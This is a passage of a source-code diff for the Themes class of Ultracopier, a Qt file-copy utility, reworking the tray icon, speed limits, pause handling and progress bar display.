+ if(!editDelete.isNull())
+ ui->del->setIcon(editDelete);
+ if(!player_pause.isNull())
+ ui->pauseButton->setIcon(player_pause);
+ if(!skinIcon.isNull())
+ ui->skipButton->setIcon(skinIcon);
+ if(!editFind.isNull())
+ ui->searchButton->setIcon(editFind);
+ if(!documentOpen.isNull())
+ ui->importTransferList->setIcon(documentOpen);
+ if(!documentSave.isNull())
+ {
+ ui->exportTransferList->setIcon(documentSave);
+ ui->exportErrorToTransferList->setIcon(documentSave);
+ }
+ if(!listAdd.isNull())
+ {
+ ui->add->setIcon(listAdd);
+ ui->actionAddFile->setIcon(listAdd);
+ ui->actionAddFileToCopy->setIcon(listAdd);
+ ui->actionAddFileToMove->setIcon(listAdd);
+ ui->actionAddFolder->setIcon(listAdd);
+ ui->actionAddFolderToCopy->setIcon(listAdd);
+ ui->actionAddFolderToMove->setIcon(listAdd);
+ }
+ #ifdef Q_OS_WIN32
+ pixmapTop=QPixmap(QStringLiteral(":/Themes/Oxygen/resources/SystemTrayIcon/systray_Uncaught_Windows.png"));
+ pixmapBottom=QPixmap(QStringLiteral(":/Themes/Oxygen/resources/SystemTrayIcon/systray_Caught_Windows.png"));
+ #else
+ pixmapTop=QPixmap(QStringLiteral(":/Themes/Oxygen/resources/SystemTrayIcon/systray_Uncaught_Unix.png"));
+ pixmapBottom=QPixmap(QStringLiteral(":/Themes/Oxygen/resources/SystemTrayIcon/systray_Caught_Unix.png"));
+ #endif
+
+ shutdown=facilityEngine->haveFunctionality(QStringLiteral("shutdown"));
+ ui->shutdown->setVisible(shutdown);
+
+ selectionModel=ui->TransferList->selectionModel();
+
+ #ifdef ULTRACOPIER_PLUGIN_DEBUG
+ connect(&transferModel,&TransferModel::debugInformation,this,&Themes::debugInformation);
+ #endif
+
+ updateSpeed();
+ alwaysOnTop_clicked(false);
+ /*#ifdef Q_OS_WIN32
+ uiOptions->labelAlwaysOnTop->hide();
+ uiOptions->alwaysOnTop->hide();
+ #endif*/
+ #ifdef ULTRACOPIER_VERSION_ULTIMATE
+ ui->ad_ultimate->hide();
+ #else
+ QString ultimateUrl=facilityEngine->ultimateUrl();
+ if(ultimateUrl.isEmpty())
+ ui->ad_ultimate->hide();
+ else
+ ui->ad_ultimate->setText(QStringLiteral("<a href=\"%1\">%2</a>").arg(ultimateUrl).arg(tr("Buy the Ultimate version to fund development")));
+ #endif
+
+ show();
+
+ sysTrayIcon = new QSystemTrayIcon(this);
+ connect(sysTrayIcon,&QSystemTrayIcon::activated,this,&Themes::catchAction);
}
-void Themes::uiUpdateSpeed()
+Themes::~Themes()
{
- if(ui->checkBoxShowSpeed->isChecked())
- return;
- if(!ui->checkBox_limitSpeed->isChecked())
- currentSpeed=0;
- else
- currentSpeed=ui->limitSpeed->value();
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("emit newSpeedLimitation(%1)").arg(currentSpeed));
- emit newSpeedLimitation(currentSpeed);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ //disconnect(ui->actionAddFile);
+ //disconnect(ui->actionAddFolder);
+ delete selectionModel;
+ delete menu;
+ delete sysTrayIcon;
}
QWidget * Themes::getOptionsEngineWidget()
{
- return &optionEngineWidget;
+ return &optionEngineWidget;
}
-void Themes::getOptionsEngineEnabled(bool isEnabled)
+void Themes::getOptionsEngineEnabled(const bool &isEnabled)
{
- if(isEnabled)
- ui->tabWidget->addTab(&optionEngineWidget,facilityEngine->translateText("Copy engine"));
+ if(isEnabled)
+ {
+ QScrollArea *scrollArea=new QScrollArea(ui->tabWidget);
+ scrollArea->setWidgetResizable(true);
+ scrollArea->setWidget(&optionEngineWidget);
+ ui->tabWidget->addTab(scrollArea,facilityEngine->translateText(QStringLiteral("Copy engine")));
+ }
}
void Themes::closeEvent(QCloseEvent *event)
{
- event->ignore();
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- this->hide();
- emit cancel();
+ event->ignore();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ this->hide();
+ if(uiOptions->minimizeToSystray->isChecked())
+ {
+ updateSysTrayIcon();
+ sysTrayIcon->show();
+ }
+ else
+ emit cancel();
}
-void Themes::updateOverallInformation()
+void Themes::updateSysTrayIcon()
{
- ui->overall->setText(tr("File %1/%2, size: %3/%4").arg(currentFile).arg(totalFile).arg(facilityEngine->sizeToString(currentSize)).arg(facilityEngine->sizeToString(totalSize)));
-}
-
-void Themes::actionInProgess(EngineActionInProgress action)
-{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Information,"start: "+QString::number(action));
- this->action=action;
- switch(action)
- {
- case Copying:
- case CopyingAndListing:
- ui->progressBar_all->setMaximum(65535);
- ui->progressBar_all->setMinimum(0);
- break;
- case Listing:
- ui->progressBar_all->setMaximum(0);
- ui->progressBar_all->setMinimum(0);
- break;
- case Idle:
- if(haveStarted)
- {
- if(shutdown && ui->shutdown->isChecked())
- {
- facilityEngine->callFunctionality("shutdown");
- return;
- }
- switch(ui->comboBox_copyEnd->currentIndex())
- {
- case 2:
- emit cancel();
- break;
- case 0:
- if(!haveError)
- emit cancel();
- break;
- default:
- break;
- }
- }
- break;
- default:
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Critical,"Very wrong switch case!");
- break;
- }
- switch(action)
- {
- case Copying:
- case CopyingAndListing:
- ui->pauseButton->setEnabled(true);
- haveStarted=true;
- ui->cancelButton->setText(facilityEngine->translateText("Quit"));
- break;
- case Idle:
- ui->pauseButton->setEnabled(false);
- break;
- default:
- break;
- }
+ if(totalSize==0)
+ {
+ sysTrayIcon->setIcon(dynaIcon(0,QStringLiteral("-")));
+ return;
+ }
+ quint64 currentNew=currentSize*100;
+ //update systray icon
+ quint16 getVarProgression=currentNew/totalSize;
+ if(getOldProgression!=getVarProgression)
+ {
+ getOldProgression=getVarProgression;
+ sysTrayIcon->setIcon(dynaIcon(getVarProgression));
+ }
}
-void Themes::newFolderListing(const QString &path)
+void Themes::updateOverallInformation()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- if(action==Listing)
- ui->from->setText(path);
+ if(uiOptions->showProgressionInTheTitle->isChecked())
+ updateTitle();
+ ui->overall->setText(tr("File %1/%2, size: %3/%4").arg(currentFile).arg(totalFile).arg(facilityEngine->sizeToString(currentSize)).arg(facilityEngine->sizeToString(totalSize)));
}
-void Themes::detectedSpeed(const quint64 &speed)//in byte per seconds
+void Themes::actionInProgess(const Ultracopier::EngineActionInProgress &action)
{
- ui->currentSpeed->setText(facilityEngine->speedToString(speed));
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Information,QStringLiteral("start: ")+QString::number(action));
+ this->action=action;
+ switch(action)
+ {
+ case Ultracopier::Copying:
+ case Ultracopier::CopyingAndListing:
+ ui->progressBar_all->setMaximum(65535);
+ ui->progressBar_all->setMinimum(0);
+ break;
+ case Ultracopier::Listing:
+ ui->progressBar_all->setMaximum(0);
+ ui->progressBar_all->setMinimum(0);
+ break;
+ case Ultracopier::Idle:
+ ui->progressBar_all->setMaximum(65535);
+ ui->progressBar_all->setMinimum(0);
+ if(haveStarted && transferModel.rowCount()<=0)
+ {
+ if(shutdown && ui->shutdown->isChecked())
+ {
+ facilityEngine->callFunctionality(QStringLiteral("shutdown"));
+ return;
+ }
+ switch(uiOptions->comboBox_copyEnd->currentIndex())
+ {
+ case 2:
+ emit cancel();
+ break;
+ case 0:
+ if(!haveError)
+ emit cancel();
+ else
+ ui->tabWidget->setCurrentWidget(ui->tab_error);
+ break;
+ default:
+ break;
+ }
+ stat = status_stopped;
+ if(durationStarted)
+ {
+ Ultracopier::TimeDecomposition time=facilityEngine->secondsToTimeDecomposition(duration.elapsed()/1000);
+ ui->labelTimeRemaining->setText(QStringLiteral("<html><body style=\"white-space:nowrap;\">")+facilityEngine->translateText(QStringLiteral("Completed in %1")).arg(
+ QString::number(time.hour)+QStringLiteral(":")+QString::number(time.minute).rightJustified(2,'0')+QStringLiteral(":")+QString::number(time.second).rightJustified(2,'0')
+ )+QStringLiteral("</body></html>"));
+ }
+ }
+ break;
+ default:
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Critical,"Very wrong switch case!");
+ break;
+ }
+ switch(action)
+ {
+ case Ultracopier::Copying:
+ case Ultracopier::CopyingAndListing:
+ ui->pauseButton->setEnabled(true);
+ if(!durationStarted)
+ {
+ duration.start();
+ durationStarted=true;
+ }
+ haveStarted=true;
+ ui->cancelButton->setText(facilityEngine->translateText(QStringLiteral("Quit")));
+ updatePause();
+ break;
+ case Ultracopier::Listing:
+ ui->pauseButton->setEnabled(false);
+ haveStarted=true;//to close if skip at root folder collision
+ break;
+ case Ultracopier::Idle:
+ ui->pauseButton->setEnabled(false);
+ break;
+ default:
+ break;
+ }
}
-void Themes::remainingTime(const int &remainingSeconds)
+void Themes::newFolderListing(const QString &path)
{
- QString labelTimeRemaining("<html><body style=\"white-space:nowrap;\">"+facilityEngine->translateText("Time remaining:")+" ");
- if(remainingSeconds==-1)
- labelTimeRemaining+="&#8734;";
- else
- {
- TimeDecomposition time=facilityEngine->secondsToTimeDecomposition(remainingSeconds);
- labelTimeRemaining+=QString::number(time.hour)+":"+QString::number(time.minute)+":"+QString::number(time.second);
- }
- labelTimeRemaining+="</body></html>";
- ui->labelTimeRemaining->setText(labelTimeRemaining);
+ QString newPath=path;
+ if(newPath.size()>(64+3))
+ newPath=newPath.mid(0,32)+QStringLiteral("...")+newPath.mid(newPath.size()-32,32);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ if(action==Ultracopier::Listing)
+ ui->from->setText(newPath);
}
-void Themes::newCollisionAction(const QString &action)
+void Themes::detectedSpeed(const quint64 &speed)//in byte per seconds
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- if(ui->comboBox_fileCollisions->findData(action)!=-1)
- ui->comboBox_fileCollisions->setCurrentIndex(ui->comboBox_fileCollisions->findData(action));
+ if(uiOptions->speedWithProgressBar->isChecked())
+ {
+ quint64 tempSpeed=speed;
+ if(tempSpeed>999999999)
+ tempSpeed=999999999;
+ if(tempSpeed>(quint64)ui->progressBarCurrentSpeed->maximum())
+ {
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("set max speed to: %1").arg(tempSpeed));
+ ui->progressBarCurrentSpeed->setMaximum(tempSpeed);
+ }
+ ui->progressBarCurrentSpeed->setValue(tempSpeed);
+ ui->progressBarCurrentSpeed->setFormat(facilityEngine->speedToString(speed));
+ }
+ else
+ ui->currentSpeed->setText(facilityEngine->speedToString(speed));
}
-void Themes::newErrorAction(const QString &action)
+void Themes::remainingTime(const int &remainingSeconds)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- if(ui->comboBox_copyErrors->findData(action)!=-1)
- ui->comboBox_copyErrors->setCurrentIndex(ui->comboBox_copyErrors->findData(action));
+ QString labelTimeRemaining(QStringLiteral("<html><body style=\"white-space:nowrap;\">")+facilityEngine->translateText(QStringLiteral("Time remaining:"))+QStringLiteral(" "));
+ if(remainingSeconds==-1)
+ labelTimeRemaining+=QStringLiteral("&#8734;");
+ else
+ {
+ Ultracopier::TimeDecomposition time=facilityEngine->secondsToTimeDecomposition(remainingSeconds);
+ labelTimeRemaining+=QString::number(time.hour)+QStringLiteral(":")+QString::number(time.minute).rightJustified(2,'0')+QStringLiteral(":")+QString::number(time.second).rightJustified(2,'0');
+ }
+ labelTimeRemaining+=QStringLiteral("</body></html>");
+ ui->labelTimeRemaining->setText(labelTimeRemaining);
}
void Themes::errorDetected()
{
- haveError=true;
+ haveError=true;
}
-//speed limitation
-bool Themes::setSpeedLimitation(const qint64 &speedLimitation)
+/// \brief new error
+void Themes::errorToRetry(const QString &source,const QString &destination,const QString &error)
{
- currentSpeed=speedLimitation;
- updateSpeed();
- return true;
+ ui->errorList->addTopLevelItem(new QTreeWidgetItem(QStringList() << source << destination << error));
}
-//get information about the copy
-void Themes::setGeneralProgression(const quint64 &current,const quint64 &total)
+/** \brief support speed limitation */
+void Themes::setSupportSpeedLimitation(const bool &supportSpeedLimitationBool)
{
- currentSize=current;
- totalSize=total;
- if(total>0)
- {
- int newIndicator=((double)current/total)*65535;
- ui->progressBar_all->setValue(newIndicator);
- }
- else
- ui->progressBar_all->setValue(0);
+ if(!supportSpeedLimitationBool)
+ {
+ ui->label_Slider_speed->setVisible(false);
+ ui->SliderSpeed->setVisible(false);
+ ui->label_SpeedMaxValue->setVisible(false);
+ uiOptions->labelShowSpeedAsMain->setVisible(false);
+ uiOptions->checkBoxShowSpeed->setVisible(false);
+ }
+ else
+ emit newSpeedLimitation(currentSpeed);
}
-void Themes::setFileProgression(const QList<ProgressionItem> &progressionList)
-{
- QList<ProgressionItem> progressionListBis=progressionList;
- transferModel.setFileProgression(progressionListBis);
- updateCurrentFileInformation();
-}
-
-void Themes::setCollisionAction(const QList<QPair<QString,QString> > &list)
+//get information about the copy
+void Themes::setGeneralProgression(const quint64 &current,const quint64 &total)
{
- ui->comboBox_fileCollisions->clear();
- index=0;
- loop_size=list.size();
- while(index<loop_size)
- {
- ui->comboBox_fileCollisions->addItem(list.at(index).first,list.at(index).second);
- index++;
- }
+ currentSize=current;
+ totalSize=total;
+ if(total>0)
+ {
+ int newIndicator=((double)current/total)*65535;
+ ui->progressBar_all->setValue(newIndicator);
+ }
+ else
+ ui->progressBar_all->setValue(0);
+ if(current>0)
+ stat = status_started;
+ updateOverallInformation();
+ if(isHidden())
+ updateSysTrayIcon();
}
-void Themes::setErrorAction(const QList<QPair<QString,QString> > &list)
+void Themes::setFileProgression(const QList<Ultracopier::ProgressionItem> &progressionList)
{
- ui->comboBox_fileCollisions->clear();
- index=0;
- loop_size=list.size();
- while(index<loop_size)
- {
- ui->comboBox_copyErrors->addItem(list.at(index).first,list.at(index).second);
- index++;
- }
+ QList<Ultracopier::ProgressionItem> progressionListBis=progressionList;
+ transferModel.setFileProgression(progressionListBis);
+ updateCurrentFileInformation();
}
//edit the transfer list
/// \todo check and re-enable to selection
-void Themes::getActionOnList(const QList<returnActionOnCopyList> &returnActions)
+void Themes::getActionOnList(const QList<Ultracopier::ReturnActionOnCopyList> &returnActions)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start, returnActions.size(): "+QString::number(returnActions.size()));
- QList<quint64> returnValue=transferModel.synchronizeItems(returnActions);
- totalFile+=returnValue[0];
- totalSize+=returnValue[1];
- currentFile+=returnValue[2];
- if(transferModel.rowCount()==0)
- {
- ui->skipButton->setEnabled(false);
- ui->progressBar_all->setValue(65535);
- ui->progressBar_file->setValue(65535);
- currentSize=totalSize;
- }
- else
- ui->skipButton->setEnabled(true);
- updateOverallInformation();
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"transferModel.rowCount(): "+QString::number(transferModel.rowCount()));
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start, returnActions.size(): ")+QString::number(returnActions.size()));
+ QList<quint64> returnValue=transferModel.synchronizeItems(returnActions);
+ totalFile+=returnValue.first();
+ totalSize+=returnValue.at(1);
+ currentFile+=returnValue.last();
+ if(transferModel.rowCount()==0)
+ {
+ ui->skipButton->setEnabled(false);
+ ui->progressBar_all->setValue(65535);
+ ui->progressBar_file->setValue(65535);
+ currentSize=totalSize;
+ if(isHidden())
+ updateSysTrayIcon();
+ }
+ else
+ ui->skipButton->setEnabled(true);
+ updateOverallInformation();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("transferModel.rowCount(): ")+QString::number(transferModel.rowCount()));
}
-void Themes::setCopyType(CopyType type)
+void Themes::setCopyType(const Ultracopier::CopyType &type)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- this->type=type;
- updateModeAndType();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ this->type=type;
+ updateModeAndType();
}
-void Themes::forceCopyMode(CopyMode mode)
+void Themes::forceCopyMode(const Ultracopier::CopyMode &mode)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- modeIsForced=true;
- this->mode=mode;
- if(mode==Copy)
- this->setWindowTitle("Ultracopier - "+facilityEngine->translateText("Copy"));
- else
- this->setWindowTitle("Ultracopier - "+facilityEngine->translateText("Move"));
- updateModeAndType();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ modeIsForced=true;
+ this->mode=mode;
+ if(mode==Ultracopier::Copy)
+ ui->tabWidget->setTabText(0,tr("Copy list"));
+ else
+ ui->tabWidget->setTabText(0,tr("Move list"));
+ updateModeAndType();
+ updateTitle();
}
-void Themes::setTransferListOperation(TransferListOperation transferListOperation)
+void Themes::setTransferListOperation(const Ultracopier::TransferListOperation &transferListOperation)
{
- ui->exportTransferList->setVisible(transferListOperation & TransferListOperation_Export);
- ui->importTransferList->setVisible(transferListOperation & TransferListOperation_Import);
+ ui->exportTransferList->setVisible(transferListOperation & Ultracopier::TransferListOperation_Export);
+ ui->importTransferList->setVisible(transferListOperation & Ultracopier::TransferListOperation_Import);
}
void Themes::haveExternalOrder()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
// ui->moreButton->toggle();
}
-void Themes::isInPause(bool isInPause)
+void Themes::isInPause(const bool &isInPause)
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"isInPause: "+QString::number(isInPause));
- //resume in auto the pause
- storeIsInPause=isInPause;
- if(isInPause)
- {
- ui->pauseButton->setIcon(player_play);
- ui->pauseButton->setText(facilityEngine->translateText("Resume"));
- }
- else
- {
- ui->pauseButton->setIcon(player_pause);
- if(haveStarted)
- ui->pauseButton->setText(facilityEngine->translateText("Pause"));
- else
- ui->pauseButton->setText(facilityEngine->translateText("Start"));
- }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("isInPause: ")+QString::number(isInPause));
+ //resume in auto the pause
+ storeIsInPause=isInPause;
+ updatePause();
+}
+
+void Themes::updatePause()
+{
+ if(storeIsInPause)
+ {
+ ui->pauseButton->setIcon(player_play);
+ if(stat == status_started)
+ ui->pauseButton->setText(facilityEngine->translateText(QStringLiteral("Resume")));
+ else
+ ui->pauseButton->setText(facilityEngine->translateText(QStringLiteral("Start")));
+ }
+ else
+ {
+ ui->pauseButton->setIcon(player_pause);
+ ui->pauseButton->setText(facilityEngine->translateText(QStringLiteral("Pause")));
+ }
}
void Themes::updateCurrentFileInformation()
{
- TransferModel::currentTransfertItem transfertItem=transferModel.getCurrentTransfertItem();
- if(transfertItem.haveItem)
- {
- ui->from->setText(transfertItem.from);
- ui->to->setText(transfertItem.to);
- ui->current_file->setText(transfertItem.current_file);
- if(transfertItem.progressBar_file!=-1)
- {
- ui->progressBar_file->setRange(0,65535);
- ui->progressBar_file->setValue(transfertItem.progressBar_file);
- }
- else
- ui->progressBar_file->setRange(0,0);
- }
- else
- {
- ui->from->setText("");
- ui->to->setText("");
- ui->current_file->setText("-");
- if(haveStarted && transferModel.rowCount()==0)
- ui->progressBar_file->setValue(65535);
- else if(!haveStarted)
- ui->progressBar_file->setValue(0);
- }
+ TransferModel::currentTransfertItem transfertItem=transferModel.getCurrentTransfertItem();
+ if(transfertItem.haveItem)
+ {
+ QString newPath=transfertItem.from;
+ if(newPath.size()>(64+3))
+ newPath=newPath.mid(0,32)+QStringLiteral("...")+newPath.mid(newPath.size()-32,32);
+ ui->from->setText(newPath);
+ newPath=transfertItem.to;
+ if(newPath.size()>(64+3))
+ newPath=newPath.mid(0,32)+QStringLiteral("...")+newPath.mid(newPath.size()-32,32);
+ ui->to->setText(newPath);
+ ui->current_file->setText(transfertItem.current_file);
+ if(transfertItem.progressBar_read!=-1)
+ {
+ ui->progressBar_file->setRange(0,65535);
+ if(uiOptions->showDualProgression->isChecked())
+ {
+ if(transfertItem.progressBar_read!=transfertItem.progressBar_write)
+ {
+ float permilleread=round((float)transfertItem.progressBar_read/65535*1000)/1000;
+ float permillewrite=permilleread-0.001;
+ ui->progressBar_file->setStyleSheet(QStringLiteral("QProgressBar{border: 1px solid grey;text-align: center;background-color: qlineargradient(spread:pad, x1:%1, y1:0, x2:%2, y2:0, stop:0 %3, stop:1 %4);}QProgressBar::chunk{background-color:%5;}")
+ .arg(permilleread)
+ .arg(permillewrite)
+ .arg(progressColorRemaining.name())
+ .arg(progressColorRead.name())
+ .arg(progressColorWrite.name())
+ );
+ }
+ else
+ ui->progressBar_file->setStyleSheet(QStringLiteral("QProgressBar{border:1px solid grey;text-align:center;background-color:%1;}QProgressBar::chunk{background-color:%2;}")
+ .arg(progressColorRemaining.name())
+ .arg(progressColorWrite.name())
+ );
+ ui->progressBar_file->setValue(transfertItem.progressBar_write);
+ }
+ else
+ ui->progressBar_file->setValue((transfertItem.progressBar_read+transfertItem.progressBar_write)/2);
+ }
+ else
+ ui->progressBar_file->setRange(0,0);
+ }
+ else
+ {
+ ui->from->setText(QStringLiteral(""));
+ ui->to->setText(QStringLiteral(""));
+ ui->current_file->setText(QStringLiteral("-"));
+ if(haveStarted && transferModel.rowCount()==0)
+ ui->progressBar_file->setValue(65535);
+ else if(!haveStarted)
+ ui->progressBar_file->setValue(0);
+ }
}
void Themes::on_putOnTop_clicked()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- selectedItems=selectionModel->selectedRows();
- ids.clear();
- index=0;
- loop_size=selectedItems.size();
- while(index<loop_size)
- {
- ids << transferModel.data(selectedItems.at(index),Qt::UserRole).toULongLong();
- index++;
- }
- if(ids.size()>0)
- emit moveItemsOnTop(ids);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ selectedItems=selectionModel->selectedRows();
+ QList<int> ids;
+ int index=0;
+ const int &loop_size=selectedItems.size();
+ while(index<loop_size)
+ {
+ ids << transferModel.data(selectedItems.at(index),Qt::UserRole).toULongLong();
+ index++;
+ }
+ if(ids.size()>0)
+ emit moveItemsOnTop(ids);
}
void Themes::on_pushUp_clicked()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- selectedItems=selectionModel->selectedRows();
- ids.clear();
- index=0;
- loop_size=selectedItems.size();
- while(index<loop_size)
- {
- ids << transferModel.data(selectedItems.at(index),Qt::UserRole).toULongLong();
- index++;
- }
- if(ids.size()>0)
- emit moveItemsUp(ids);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ selectedItems=selectionModel->selectedRows();
+ QList<int> ids;
+ int index=0;
+ const int &loop_size=selectedItems.size();
+ while(index<loop_size)
+ {
+ ids << transferModel.data(selectedItems.at(index),Qt::UserRole).toULongLong();
+ index++;
+ }
+ if(ids.size()>0)
+ emit moveItemsUp(ids);
}
void Themes::on_pushDown_clicked()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- selectedItems=selectionModel->selectedRows();
- ids.clear();
- index=0;
- loop_size=selectedItems.size();
- while(index<loop_size)
- {
- ids << transferModel.data(selectedItems.at(index),Qt::UserRole).toULongLong();
- index++;
- }
- if(ids.size()>0)
- emit moveItemsDown(ids);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ selectedItems=selectionModel->selectedRows();
+ QList<int> ids;
+ int index=0;
+ const int &loop_size=selectedItems.size();
+ while(index<loop_size)
+ {
+ ids << transferModel.data(selectedItems.at(index),Qt::UserRole).toULongLong();
+ index++;
+ }
+ if(ids.size()>0)
+ emit moveItemsDown(ids);
}
void Themes::on_putOnBottom_clicked()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- selectedItems=selectionModel->selectedRows();
- ids.clear();
- index=0;
- loop_size=selectedItems.size();
- while(index<loop_size)
- {
- ids << transferModel.data(selectedItems.at(index),Qt::UserRole).toULongLong();
- index++;
- }
- if(ids.size()>0)
- emit moveItemsOnBottom(ids);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ selectedItems=selectionModel->selectedRows();
+ QList<int> ids;
+ int index=0;
+ const int &loop_size=selectedItems.size();
+ while(index<loop_size)
+ {
+ ids << transferModel.data(selectedItems.at(index),Qt::UserRole).toULongLong();
+ index++;
+ }
+ if(ids.size()>0)
+ emit moveItemsOnBottom(ids);
}
void Themes::on_del_clicked()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- selectedItems=selectionModel->selectedRows();
- ids.clear();
- index=0;
- loop_size=selectedItems.size();
- while(index<loop_size)
- {
- ids << transferModel.data(selectedItems.at(index),Qt::UserRole).toULongLong();
- index++;
- }
- if(ids.size()>0)
- emit removeItems(ids);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ selectedItems=selectionModel->selectedRows();
+ QList<int> ids;
+ int index=0;
+ const int &loop_size=selectedItems.size();
+ while(index<loop_size)
+ {
+ ids << transferModel.data(selectedItems.at(index),Qt::UserRole).toULongLong();
+ index++;
+ }
+ if(ids.size()>0)
+ emit removeItems(ids);
}
void Themes::on_cancelButton_clicked()
{
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"start");
- this->hide();
- emit cancel();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ this->hide();
+ emit cancel();
+}
+
+
+void Themes::speedWithProgressBar_toggled(bool checked)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ ui->progressBarCurrentSpeed->setVisible(checked);
+ ui->currentSpeed->setVisible(!checked);
}
-void Themes::on_checkBoxShowSpeed_toggled(bool checked)
+void Themes::showDualProgression_toggled(bool checked)
{
- Q_UNUSED(checked);
- updateSpeed();
+ Q_UNUSED(checked);
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ updateProgressionColorBar();
+}
+
+void Themes::checkBoxShowSpeed_toggled(bool checked)
+{
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("start"));
+ Q_UNUSED(checked);
+ updateSpeed();
}
void Themes::on_SliderSpeed_valueChanged(int value)
{
- if(!ui->checkBoxShowSpeed->isChecked())
- return;
- switch(value)
- {
- case 0:
- currentSpeed=0;
- break;
- case 1:
- currentSpeed=1024;
- break;
- case 2:
- currentSpeed=1024*4;
- break;
- case 3:
- currentSpeed=1024*16;
- break;
- case 4:
- currentSpeed=1024*64;
- break;
- case 5:
- currentSpeed=1024*128;
- break;
- }
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,QString("value: %1").arg(value));
- emit newSpeedLimitation(currentSpeed);
- updateSpeed();
+ if(!uiOptions->checkBoxShowSpeed->isChecked())
+ return;
+ switch(value)
+ {
+ case 0:
+ currentSpeed=0;
+ break;
+ case 1:
+ currentSpeed=1024;
+ break;
+ case 2:
+ currentSpeed=1024*4;
+ break;
+ case 3:
+ currentSpeed=1024*16;
+ break;
+ case 4:
+ currentSpeed=1024*64;
+ break;
+ case 5:
+ currentSpeed=1024*128;
+ break;
+ }
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("value: %1").arg(value));
+ emit newSpeedLimitation(currentSpeed);
+ updateSpeed();
+}
+
+void Themes::uiUpdateSpeed()
+{
+ if(uiOptions->checkBoxShowSpeed->isChecked())
+ return;
+ if(!uiOptions->checkBox_limitSpeed->isChecked())
+ currentSpeed=0;
+ else
+ currentSpeed=uiOptions->limitSpeed->value();
+ ULTRACOPIER_DEBUGCONSOLE(Ultracopier::DebugLevel_Notice,QStringLiteral("emit newSpeedLimitation(%1)").arg(currentSpeed));
+ emit newSpeedLimitation(currentSpeed);
}
void Themes::updateSpeed()
{
- ui->groupBoxSpeedLimit->setVisible(!ui->checkBoxShowSpeed->isChecked());
- ui->label_Slider_speed->setVisible(ui->checkBoxShowSpeed->isChecked());
- ui->SliderSpeed->setVisible(ui->checkBoxShowSpeed->isChecked());
- ui->label_SpeedMaxValue->setVisible(ui->checkBoxShowSpeed->isChecked());
-
- if(ui->checkBoxShowSpeed->isChecked())
- {
- ULTRACOPIER_DEBUGCONSOLE(DebugLevel_Notice,"checked");
- ui->limitSpeed->setEnabled(false);
- if(currentSpeed==0)
- {
- ui->SliderSpeed->setValue(0);
- ui->label_SpeedMaxValue->setText(facilityEngine->translateText("Unlimited"));
- }
- else if(currentSpeed<=1024)
- {
- if(currentSpeed!=1024)
- {
- currentSpeed=1024;
- emit newSpeedLimitation(currentSpeed);
- }
- ui->SliderSpeed->setValue(1);
- ui->label_SpeedMaxValue->setText(facilityEngine->speedToString((double)(1024*1024)*1));
- }
- else if(currentSpeed<=1024*4)
- {
- if(currentSpeed!=1024*4)
- {
- currentSpeed=1024*4;
- emit newSpeedLimitation(currentSpeed);
- }
- ui->SliderSpeed->setValue(2);
- ui->label_SpeedMaxValue->setText(facilityEngine->speedToString((double)(1024*1024)*4));
- }
- else if(currentSpeed<=1024*16)
- {
